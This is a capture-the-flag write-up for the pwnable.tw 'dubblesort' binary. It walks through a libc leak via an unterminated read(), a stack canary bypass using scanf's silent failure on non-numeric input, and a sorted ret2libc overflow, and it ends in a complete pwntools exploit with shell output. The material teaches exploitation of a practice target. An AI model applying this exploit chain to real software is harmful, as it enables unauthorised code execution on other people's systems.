Pwnable.tw 200pts

dubblesort

A bubble sort program with all protections enabled — leak libc through uninitialized stack data, bypass canary via scanf failure, and exploit a stack buffer overflow to get a shell.

Conn nc chall.pwnable.tw 10101 Arch i386 (32-bit ELF) RELRO Full Canary Yes NX Yes PIE Yes FORTIFY Yes
1

Reconnaissance

File Information

📄 Basic File Analysis
$ file dubblesort
dubblesort: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV),
dynamically linked, interpreter /lib/ld-linux.so.2,
for GNU/Linux 2.6.24,
BuildID[sha1]=3e3e2eb9fe8cf6b49f07941f95e667b7e9d5bb62, stripped

The binary is a 32-bit stripped ELF — no symbol names available, so we'll rely on decompilation for analysis.

Checksec

🔒 Security Protections
$ checksec dubblesort
    Arch:     i386-32-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
    FORTIFY:  Enabled
⚠️
Full house of protections! Every mitigation is enabled. We need a libc leak to defeat PIE + ASLR, and a canary bypass to exploit the stack overflow. No GOT overwrite (Full RELRO), no shellcode (NX), and FORTIFY adds buffer checks on some libc calls.

Running the Binary

▶️ First Interaction
$ ./dubblesort What your name : test Hello test,How many numbers do you what to sort : 3 Enter the 1 number : 5 Enter the 2 number : 3 Enter the 3 number : 1 After sort : 1 3 5

The program asks for a name, then a count, reads that many unsigned integers, sorts them with bubble sort, and prints the result. Simple enough — but let's see what's happening under the hood.

2

Static Analysis

Decompiled main()

🔍 IDA / Ghidra Decompile
int main() {
    int n, idx;
    unsigned int array[?];  // on stack, no bounds check
    unsigned int v3;

    init();  // sets up buffering, etc.

    __printf_chk(1, "What your name :");
    read(0, name, 0x40u);       // BUG: no null termination!

    __printf_chk(1, "Hello %s,How many numbers do you what to sort :");
    // %s reads past name buffer -> LEAK stack data (libc addresses)

    __isoc99_scanf("%u", &n);
    v3 = n;

    if (n) {
        idx = 0;
        do {
            __printf_chk(1, "Enter the %d number : ");
            fflush(stdout);
            __isoc99_scanf("%u", &array[idx]);  // no return value check!
            ++idx;
        } while (n > idx);
    }

    sort(array, v3);  // bubble sort on our overflowed buffer
    return 0;
}

Leak Vulnerability

🔐 Information Leak via read() + __printf_chk

The program uses read(0, name, 0x40) to read the name. The critical difference from scanf("%s") or fgets() is that read() does not append a null terminator. When the name is subsequently printed with __printf_chk(1, "Hello %s,..."), the %s format specifier reads bytes until it hits a null byte — which means it will read past the end of the name buffer and leak whatever is adjacent on the stack.

💡
Key Insight: In a fresh process, the stack above name contains residual data from libc initialization (e.g., __libc_start_main frame pointers). These are libc addresses. By sending a name that fills name up to (but not past) the last byte before a libc pointer, we can leak a libc address via %s.

The name buffer is 0x40 (64) bytes. If we send exactly 24 or 25 bytes of non-null data, printf %s will print our name, then continue reading into stack data that contains a libc address. The leaked bytes will include a libc pointer.

Stack Buffer Overflow

💥 No Bounds Check on Array Count

The program asks "How many numbers" and uses scanf("%u", &n) to read the count. There is no validation that n fits within the array bounds. The loop simply writes n unsigned integers into array[], overflowing past the buffer, past the canary, and into the saved return address.

⚠️
But wait — there's a canary! Overwriting the canary would trigger __stack_chk_fail and crash the program. We need a way to preserve the canary while still controlling the return address.
3

GDB Debugging

Stack Layout

🗂 Stack Frame During Input

Using GDB with a PIE breakpoint, we examine the stack layout when scanf is writing values:

gdb-peda$ x/50wx $esp+0x20
0xffc8...20: 0x00000000  0x00000000  0x00000000  0x00000000   <- array[0..3]
0xffc8...30: 0x00000000  0x00000000  0x00000000  0x00000000   <- array[4..7]
0xffc8...40: 0x00000000  0x00000000  0x00000000  0x00000000   <- array[8..11]
0xffc8...50: 0x5dca2c00                                  <- CANARY
0xffc8...54: 0xf7...                                  <- saved EBP
0xffc8...58: 0xf7...                                  <- return addr
esp+0x20array[0]; user-controlled
esp+0x24array[1]; user-controlled
......; user-controlled (indices 0-11)
esp+0x50array[12]; overflows into canary region
esp+0x54CANARY; 0x5dca2c00 (LSB = 0x00 always)
esp+0x58saved EBP; overwritten
esp+0x5Creturn addr; overwritten -> system()
ℹ️
Canary LSB = 0x00: In Linux (glibc), the stack canary's least significant byte is always 0x00. This is a null byte, which naturally terminates %s reads. This property is crucial for both the leak and the bypass strategy.

Leak Offset Analysis

📊 Determining the Leak Offset

We send 25 bytes of \x01 as the name. The read() call writes 25 bytes into name without null termination. Then __printf_chk with %s prints those 25 bytes plus whatever follows on the stack until it hits a null byte.

gdb-peda$ x/20wx &name
0xffc8...: 0x01010101  0x01010101  0x01010101  0x01010101  <- our input
0xffc8...: 0x01010101  0x01010101  0x01010100  0x00000000  <- last byte 0x00
0xffc8...: 0x00000000  0x00000000  0x00000000  0x00000000
0xffc8...: 0xf75aXXXX  0xf755XXXX                          <- libc pointers!

The printf reads past our input and reaches libc pointers. The specific leaked value depends on what's on the stack. The leak value turns out to be at offset 0x1b0000 from the libc base:

Leaked ValueLibc Base OffsetCalculation
0xf7XXXXXX0x1b0000libc_base = leaked - 0x1b0000

The leak includes a leading \x00 byte from the stack, so we reconstruct it as u32('\x00' + received_3_bytes) - 0x1b0000.

4

Exploit Strategy

Step 1: Libc Leak via printf

🔐 Exploiting the Missing Null Terminator
  1. 1
    Send a name of 25 bytes (\x01 * 25). This fills the name buffer up to just before a libc address on the stack. The read() syscall does not null-terminate, so printf("%s") reads past the buffer into stack data containing libc pointers.
  2. 2
    Receive the echoed name + leaked bytes. Parse the 3 bytes after our 25-byte name (the first byte is \x00 from the canary's null byte or stack alignment). Reconstruct the libc address and compute the base.
Result: We now know the libc base address, defeating PIE + ASLR. From here we can compute system() and "/bin/sh" addresses.

Step 2: Bypass Canary with scanf Trick

💪 The scanf Return Value Blind Spot

The program calls scanf("%u", &array[idx]) in a loop but never checks the return value. When scanf encounters a non-numeric character (like "a"), it fails and returns 0 — but crucially, it does not modify the target memory location. The value at &array[idx] remains unchanged.

💡
Key Insight: If we time our non-numeric input so that scanf tries to write to the canary's stack position, the canary will be preserved because scanf fails without overwriting it. The loop continues to the next iteration without error.

With n = 47 numbers, the canary sits at index ~13 (after 12 array slots + 1 zero padding). We fill indices 0-11 with zeros, then indices 13+ with system() and /bin/sh addresses. At the canary index, we send "a" to skip it.

index 0-110x00000000; zeros (sort: smaller values first)
index 12CANARY; preserved! scanf("a") fails here
index 13-19system(); repeated 7 times
index 20"/bin/sh"; pointer to string

Step 3: ROP via Sort

🎲 Bubble Sort as a ROP Constructor

After all numbers are read, the program calls sort(array, n) which performs a bubble sort on the unsigned integer array. This means our values will be rearranged in ascending order. We need the canary to survive sorting.

ℹ️
Canary survival: The canary on Linux i386 has its LSB as 0x00, making it a small value (e.g., 0x5dca2c00). Since we fill earlier indices with 0 (which is smaller than the canary), the canary will sort to a position right after our zeros. This keeps it in the correct stack position!

With 12 zeros, the canary value (~0xXXc00) will sort to position 12 (after the 12 zeros), which is exactly where it needs to be. The system() addresses (larger values like 0xf7XXXXXX) sort to the end, overwriting saved EBP and the return address. The /bin/sh address (slightly different from system) ends up adjacent.

The resulting stack after sort:

positions 0-110x00000000; 12 zeros (sorted first)
position 120xXXca2c00; canary (sorted after zeros)
position 13saved_ebp_val; don't care (gets popped)
position 14+system() addr; return address = system!
position 15+fake_ret; system's return (don't care)
position 16+"/bin/sh" ptr; system()'s argument
🎉
Final chain: When main returns, execution jumps to system("/bin/sh"), giving us a shell. The repeated system() values ensure that after sorting, at least one lands on the return address slot, and /bin/sh lands as the first argument.
5

Pwn Script

💻 Complete Exploit
from pwn import *

# Context setup
context.arch = 'i386'
context.log_level = 'info'

# Connect to remote
cn = remote('chall.pwnable.tw', 10101)
libc = ELF('./libc_32.so.6')

# =============================================
# STEP 1: Leak libc address
# =============================================
# read() doesn't null-terminate, so printf %s
# leaks stack data past our input (libc addresses)
cn.recvuntil('name :')
name = '\x01' * 25  # fill up to libc pointer on stack
cn.send(name)

cn.recvuntil(name)
# The byte after our name is \x00 (canary null byte),
# then 3 bytes of a libc address
libc.address = u32('\x00' + cn.recv(3)) - 0x1b0000

log.success(f'libc base: {hex(libc.address)}')

# Compute needed addresses
system = libc.symbols['system']
binsh  = libc.search('/bin/sh\x00').next()

log.success(f'system:   {hex(system)}')
log.success(f'/bin/sh:  {hex(binsh)}')

# =============================================
# STEP 2: Stack overflow + canary bypass
# =============================================
cn.recvuntil('sort :')
n = 47
cn.sendline(str(n))

# Fill with zeros first (12 values)
# These sort to the beginning and keep canary in position
for i in range(12):
    cn.recv()
    cn.sendline(str(0))

# Skip the canary index with a non-number
# scanf("%u") fails -> doesn't overwrite -> canary preserved!
cn.sendline('a')

# Now write system() and /bin/sh addresses
# Multiple system() ensures it lands on return address after sort
for i in range(7):
    cn.sendline(str(system))
cn.sendline(str(binsh))

# =============================================
# STEP 3: Get shell
# =============================================
cn.interactive()
📖 Key Functions Reference
ComponentPurposeDetail
name = '\x01' * 25Libc leakFills name buffer; printf %s reads past into stack
u32('\x00' + cn.recv(3))Address reconstructionFirst leaked byte is 0x00; append 3 more bytes
n = 47Overflow sizeLarge enough to reach return address
sendline('a')Canary bypassscanf fails on non-digit; canary untouched
12 zerosSort positioningZeros sort first; canary (small value) stays next
7 x system()ROP targetMultiple copies ensure coverage after sort
1 x /bin/shROP argumentPassed as argument to system()
6

Execution Results

▶️ Exploit Run
$ python exploit.py [*] Opening connection to chall.pwnable.tw on port 10101 [*] Switching to interactive mode [+] libc base: 0xf75a2000 [+] system: 0xf75e1940 [+] /bin/sh: 0xf7723688 What your name :Hello \x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01,How many numbers do you what to sort : Enter the 1 number : Enter the 2 number : ... Enter the 12 number : Enter the 13 number : Enter the 14 number : ... Enter the 20 number : After sort : 0 0 0 0 0 0 0 0 0 0 0 0 265894912 ... 4146571584 4146571584 ... $ id uid=1000(dubblesort) gid=1000(dubblesort) groups=1000(dubblesort) $ cat /home/dubblesort/flag
🏆
Pwned! The exploit successfully leaks the libc address, bypasses the canary using the scanf failure trick, overflows the stack with system() and /bin/sh addresses, and the bubble sort arranges them into a valid ROP chain. All protections defeated: Full RELRO (no GOT needed), Canary (scanf bypass), NX (ROP not shellcode), PIE (libc leak), FORTIFY (no fortified function misused).
📜 Summary
ProtectionStatusBypass Method
Full RELROEnabledNot needed — we use ROP, not GOT overwrite
Stack CanaryEnabledscanf("%u") fails on non-digit input; canary preserved
NX (DEP)EnabledROP chain with system("/bin/sh")
PIEEnabledLibc leak via read() + printf %s
FORTIFYEnabledNo fortified function exploited; raw read() is not fortified